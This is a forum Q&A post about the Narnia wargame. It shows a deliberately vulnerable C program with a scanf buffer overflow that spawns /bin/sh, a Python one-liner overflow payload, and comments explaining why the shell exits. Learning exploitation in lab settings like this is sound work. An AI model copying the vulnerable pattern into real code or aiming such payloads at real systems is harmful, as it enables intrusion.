3

Problem :

Why does system("/bin/sh") process exits immediately instead of waiting for user input?

Code :

int main(){
    long val=0x41414141;
    char buf[20];

    printf("Correct val's value from 0x41414141 -> 0xdeadbeef!\n");
    printf("Here is your chance: ");
    scanf("%24s",&buf);

    printf("buf: %s\n",buf);
    printf("val: 0x%08x\n",val);

    if(val==0xdeadbeef)
        system("/bin/sh");
    else {
        printf("WAY OFF!!!!\n");
        exit(1);
    }

    return 0;
}

Sample run :

narnia0@melinda:/narnia$ (python -c "print 'A'*20+'\xef\xbe\xad\xde'")  | ./narnia0 
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: AAAAAAAAAAAAAAAAAAAAᆳ?
val: 0xdeadbeef
narnia0@melinda:/narnia$ 
3
  • 5
    stdin of your /bin/sh is stdin of your program which is the output of your python program. The shell will try to read input data from there and then exit when no more input data are there. And this behavior has nothing to do with information security and therefore off-topic. Commented Apr 6, 2017 at 11:55
  • @SteffenUllrich I have run some experiments and I'm still not able to understand why a variation of the OP's method doesn't work. Running python -c "print 'A'*20+'\xef\xbe\xad\xde'+'ls -al'" | /narnia/narnia0 doesn't print the directory listing as expected. We didn't close stdin for the shell without providing input that it ignored. Commented Jan 2, 2023 at 13:19
  • @VishalSubramanyam: Your question is similar off-topic as the original question. Also, don't ask new questions as a comment. Commented Jan 2, 2023 at 13:22

0

Browse other questions tagged .